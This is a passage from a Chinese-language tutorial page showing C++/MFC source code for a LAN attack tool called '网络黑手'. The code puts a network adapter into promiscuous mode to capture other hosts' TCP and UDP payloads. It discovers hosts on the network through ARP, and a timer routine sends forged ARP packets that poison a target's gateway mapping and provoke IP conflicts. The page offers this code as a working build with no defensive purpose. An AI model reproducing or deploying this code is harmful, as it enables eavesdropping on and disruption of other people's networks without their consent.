为了在表格的垂直滚动条滚动时正确的设置滚动条的位置和显示正确的主机列表,我们应该给XTable添加垂直滚动条消息处理函数:
void XTable::OnVScroll(UINT nSBCode, UINT nPos, CScrollBar *pScrollBar) { // TODO: Add your message handler code here and/or call default static UINT nVWndPos = 0; switch (nSBCode) { case SB_LINEDOWN: case SB_PAGEDOWN: nPos = nVWndPos + 13; SetScrollPos(SB_VERT, nPos); nVWndPos = nPos; break; case SB_LINEUP: case SB_PAGEUP: nPos = nVWndPos - 13; SetScrollPos(SB_VERT, nPos); nVWndPos = nPos; break; case SB_THUMBTRACK: SetScrollPos(SB_VERT, nPos); nVWndPos = nPos; break; }
for (int i = nVWndPos / 13, j = 0; i < currentHstIndex; i++, j++) { CString str; SetText(j + 1, 0, inet_ntoa(*(struct in_addr*)(&(hostList[i].ip))));
if (hostList[i].sniffer == 0) SetText(j + 1, 2, "OFF"); else SetText(j + 1, 2, "ON");
str.Format("%02x-%02x-%02x-%02x-%02x-%02x", hostList[i].mac[0], hostList[i].mac[1], hostList[i].mac[2], hostList[i].mac[3], hostList[i].mac[4], hostList[i].mac[5]); SetText(i + 1, 1, str);
if (hostList[i].arpCheat == 0) SetText(j + 1, 3, "OFF"); else SetText(j + 1, 3, "ON"); if (hostList[i].ipConflict == 0) SetText(j + 1, 4, "OFF"); else SetText(j + 1, 4, "ON"); } for (; j < MAX_HOST; j++) { for (int k = 0; k < 5; k++) SetText(j + 1, k, ""); }
Invalidate();
CWnd::OnVScroll(nSBCode, nPos, pScrollBar); } | 上述程序依赖于监控(sniffer)相关代码,核心代码如下:
DWORD WINAPI Sniff(void *p) { char recvbuf[1024 *250];
memset(packetList, 0, MAX_PACKET *sizeof(PacketList)); if (PacketSetHwFilter(lpadapter, NDIS_PACKET_TYPE_PROMISCUOUS) == FALSE) { AfxMessageBox("Unable to set the adapter to promiscuous mode"); return - 1; }
if (PacketSetBuff(lpadapter, 500 *1024) == FALSE) { AfxMessageBox("PacketSetBuff Error"); return - 1; }
if (PacketSetReadTimeout(lpadapter, 0) == FALSE) { AfxMessageBox("Unable to set the timeout"); return - 1; }
if ((lppacketr = PacketAllocatePacket()) == FALSE) { AfxMessageBox("PacketAllocatePacket receive Error"); return - 1; }
PacketInitPacket(lppacketr, (char*)recvbuf, sizeof(recvbuf));
while (1) { if (PacketReceivePacket(lpadapter, lppacketr, TRUE) == FALSE) { return - 1; } GetData(lppacketr); } return 0; } | 其中调用的函数GetData()用于解析由PacketReceivePacket()函数收到的报文,关于分析ARP_REPLY报文以便获得局域网主机列表的代码如下:
void GetData(LPPACKET lp) { ULONG ulbytesreceived, off; ETHDR *eth; ARPHDR *arp; PIPHDR ip; char *buf, *pChar, *base; struct bpf_hdr *hdr;
ulbytesreceived = lp->ulBytesReceived; buf = (char*)lp->Buffer;
off = 0; while (off < ulbytesreceived) { hdr = (struct bpf_hdr*)(buf + off); off += hdr->bh_hdrlen;
pChar = (char*)(buf + off); base = pChar; off = Packet_WORDALIGN(off + hdr->bh_caplen);
eth = (PETHDR)pChar; arp = (PARPHDR)(pChar + sizeof(ETHDR));
if (eth->eh_type == htons(ETH_IP)) { ip = (PIPHDR)(pChar + sizeof(ETHDR)); for (int i = 0; i < oldHstIndex; i++) { if ((oldHostList[i].ip == ip->sourceip || oldHostList[i].ip == ip ->destip) && oldHostList[i].sniffer == 1) { packetList[currentPktIndex].srcIp = ip->sourceip; packetList[currentPktIndex].desIp = ip->destip; packetList[currentPktIndex].protocol = ip->proto;
switch (ip->proto) { case IPPROTO_TCP: TCP_HEADER *pTcpHeader; pTcpHeader = (TCP_HEADER*)(pChar + sizeof(ETHDR) + (ip->h_lenver &0xf) *4); packetList[currentPktIndex].srcPort = ntohs(pTcpHeader->th_sport); packetList[currentPktIndex].desPort = ntohs(pTcpHeader->th_dport);
memcpy(packetList[currentPktIndex].data, pChar + sizeof(ETHDR) + (ip->h_lenver &0xf) *4+20, 255); packetList[currentPktIndex].data[255] = 0; break; case IPPROTO_UDP: UDP_HEADER *pUdpHeader; pUdpHeader = (UDP_HEADER*)(pChar + sizeof(ETHDR) + (ip->h_lenver &0xf) *4); packetList[currentPktIndex].srcPort = ntohs(pUdpHeader->uh_sport); packetList[currentPktIndex].desPort = ntohs(pUdpHeader->uh_dport); memcpy(packetList[currentPktIndex].data, pChar + sizeof(ETHDR) + (ip->h_lenver &0xf) *4+sizeof(UDP_HEADER), 256); packetList[currentPktIndex].data[255] = 0; break; default: packetList[currentPktIndex].data[0] = 0; break; } currentPktIndex++; currentPktIndex %= MAX_PACKET; if (currentPktIndex == 0) mailDlg->PostMessage(RECV_PKT); break; } } continue; } else if (eth->eh_type == htons(ETH_ARP)) { if (arp->arp_tpa == htonl(myip) && arp->arp_opt == htons(ARP_REPLY)) { int i; for (i = 0; i < currentHstIndex; i++) { if (hostList[i].ip == arp->arp_spa) { break; } } if (i >= currentHstIndex) { hostList[currentHstIndex].ip = arp->arp_spa; memcpy(hostList[currentHstIndex].mac, eth->eh_src, 6); currentHstIndex++; } } else if (arp->arp_spa == htonl(myip) && arp->arp_opt == htons(ARP_REPLY)) memcpy(mmac, eth->eh_src, 6); for (int i = 0; i < oldHstIndex; i++) { if ((oldHostList[i].ip == arp->arp_spa || oldHostList[i].ip == arp ->arp_tpa) && oldHostList[i].sniffer == 1) { packetList[currentPktIndex].srcIp = arp->arp_spa; packetList[currentPktIndex].desIp = arp->arp_tpa; packetList[currentPktIndex].protocol = ARP; packetList[currentPktIndex].data[0] = 0;
currentPktIndex++; currentPktIndex %= MAX_PACKET; if (currentPktIndex == 0) mailDlg->PostMessage(RECV_PKT); break; } } } } } | 我们需要动态追踪局域网内节点的活动状态,以定时器实现:
void CNetHackerDlg::OnTimer(UINT nIDEvent) { // TODO: Add your message handler code here and/or call default if (sthread == 0) { if (!mmac[0] && !mmac[1] && !mmac[2] && !mmac[3] && !mmac[4] && !mmac[5]) { SendArpReq(1, myip, mmac); return ; } sthread = CreateThread(NULL, 0, CheckHost, 0, 0, 0); SetTimer(1, 7 *(toip - fromip), NULL); //启动定时器 }
if (WaitForSingleObject(sthread, 0) != WAIT_OBJECT_0) { return ; } //test using self host /* hostList[currentHstIndex].sniffer = 1; hostList[currentHstIndex].ipConflict = 0; hostList[currentHstIndex].arpCheat = 0; hostList[currentHstIndex].ip = htonl(myip); hostList[currentHstIndex].ipConflict = 1; hostList[currentHstIndex].arpCheat = 1; memcpy(hostList[currentHstIndex].mac,mmac,6); currentHstIndex++; */ int i, j; for (i = 0; i < currentHstIndex; i++) { for (j = 0; j < oldHstIndex; j++) { if (oldHostList[j].ip == hostList[i].ip) { hostList[i].sniffer = oldHostList[j].sniffer; hostList[i].ipConflict = oldHostList[j].ipConflict; hostList[i].arpCheat = oldHostList[j].arpCheat; break; } } }
SetTimer(1, 20000, NULL); for (i = m_hostList.nVWndPos / 13, j = 0; i < currentHstIndex; i++, j++) { CString str;
m_hostList.SetText(j + 1, 0, inet_ntoa(*(struct in_addr*)(&(hostList[i].ip)) ));
if (hostList[i].sniffer == 0) m_hostList.SetText(j + 1, 2, "OFF"); else m_hostList.SetText(j + 1, 2, "ON");
str.Format("%02x-%02x-%02x-%02x-%02x-%02x", hostList[i].mac[0], hostList[i].mac[1], hostList[i].mac[2], hostList[i].mac[3], hostList[i].mac[4], hostList[i].mac[5]); m_hostList.SetText(i + 1, 1, str);
if (hostList[i].arpCheat == 0) m_hostList.SetText(j + 1, 3, "OFF"); else m_hostList.SetText(j + 1, 3, "ON"); if (hostList[i].ipConflict == 0) m_hostList.SetText(j + 1, 4, "OFF"); else m_hostList.SetText(j + 1, 4, "ON"); } for (; j < 31; j++) { for (int k = 0; k < 5; k++) m_hostList.SetText(j + 1, k, ""); } m_hostList.Invalidate();
unsigned char mac[6]; memcpy(mac, mmac, 4); mac[5] = rand(); for (i = 0; i < currentHstIndex; i++) { unsigned long ip; if (hostList[i].arpCheat == 1) { ip = (hostList[i].ip &0xff) << 24; ip += (hostList[i].ip &0xff00) << 8; ip += (hostList[i].ip &0xff0000) >> 8; ip += (hostList[i].ip &0xff000000) >> 24; SendArpReq(gateip, ip, mac); //网关->欺骗IP } if (hostList[i].ipConflict == 1) { ip = (hostList[i].ip &0xff) << 24; ip += (hostList[i].ip &0xff00) << 8; ip += (hostList[i].ip &0xff0000) >> 8; ip += (hostList[i].ip &0xff000000) >> 24; SendArpReq(ip, 2, mac); } }
memcpy(oldHostList, hostList, sizeof(HostList) *MAX_HOST); oldHstIndex = currentHstIndex; currentHstIndex = 0;
OnRecvPkt();
sthread = CreateThread(NULL, 0, CheckHost, 0, 0, 0); CDialog::OnTimer(nIDEvent); } | Sniffer到需要监听节点的报文后,sniffer线程会主动给对话框发送消息,以更新显示:
void CNetHackerDlg::OnRecvPkt() { CString str;
for (int i = 1; i <= MAX_PACKET; i++) { if (!packetList[i - 1].srcIp) break;
m_packetList.SetText(i, 0, inet_ntoa(*(struct in_addr*)(&(packetList[i - 1].srcIp)))); m_packetList.SetText(i, 1, inet_ntoa(*(struct in_addr*)(&(packetList[i - 1].desIp)))); switch (packetList[i - 1].protocol) { case IPPROTO_TCP: m_packetList.SetText(i, 2, "TCP"); str.Format("%d", packetList[i - 1].srcPort); m_packetList.SetText(i, 3, str); str.Format("%d", packetList[i - 1].desPort); m_packetList.SetText(i, 4, str); break; case IPPROTO_UDP: m_packetList.SetText(i, 2, "UDP"); str.Format("%d", packetList[i - 1].srcPort); m_packetList.SetText(i, 3, str); str.Format("%d", packetList[i - 1].desPort); m_packetList.SetText(i, 4, str); break; case IPPROTO_ICMP: m_packetList.SetText(i, 2, "ICMP"); m_packetList.SetText(i, 3, "X"); m_packetList.SetText(i, 4, "X"); break; case IPPROTO_IGMP: m_packetList.SetText(i, 2, "IGMP"); m_packetList.SetText(i, 3, "X"); m_packetList.SetText(i, 4, "X"); break; case ARP: m_packetList.SetText(i, 2, "ARP"); m_packetList.SetText(i, 3, "X"); m_packetList.SetText(i, 4, "X"); break; } }
m_packetList.Invalidate(); } | "启动"和"停止"按钮的处理函数为:
void CNetHackerDlg::OnStartstopButton() { // TODO: Add your control notification handler code here char adapter[200]; struct sockaddr_in sin;
m_adapterList.GetWindowText(adapter, 200); if (m_runStatus == STOP) { lpadapter = PacketOpenAdapter(adapter); if (!lpadapter || (lpadapter->hFile == INVALID_HANDLE_VALUE)) { MessageBox("PacketOpenAdapter Error", "网络黑手", MB_ICONEXCLAMATION); return ; }
if ((lppackets = PacketAllocatePacket()) == FALSE) { MessageBox("PacketAllocatePacket send Error", "网络黑手", MB_ICONEXCLAMATION); return ; }
for (d = alldevs; d; d = d->next) { if (strcmp(d->name, adapter) == 0) { sin = *(struct sockaddr_in*)(d->addresses->addr); myip = ntohl(sin.sin_addr.s_addr); break; } }
m_hostList.SetText(1, 0, "正在获取..."); m_hostList.SetText(1, 1, "正在获取...");
m_hostList.Invalidate();
m_fromip.GetAddress(fromip); m_toip.GetAddress(toip); m_gateip.GetAddress(gateip);
memset(packetList, 0, MAX_PACKET *sizeof(PacketList)); memset(mmac, 0, 6); rthread = CreateThread(NULL, 0, sniff, 0, 0, 0); SetTimer(1, 100, NULL); //启动定时器 SetDlgItemText(IDC_STARTSTOP_BUTTON, "停止"); m_runStatus = START; } else { TerminateThread(rthread, 0); CloseHandle(rthread); TerminateThread(sthread, 0); CloseHandle(sthread); currentHstIndex = 0; sthread = 0; rthread = 0; oldHstIndex = 0;
SetDlgItemText(IDC_STARTSTOP_BUTTON, "开始"); m_runStatus = STOP; PacketCloseAdapter(lpadapter); KillTimer(1); } } | 分页: [1] [2] [3]
(编辑:网站学习网)
|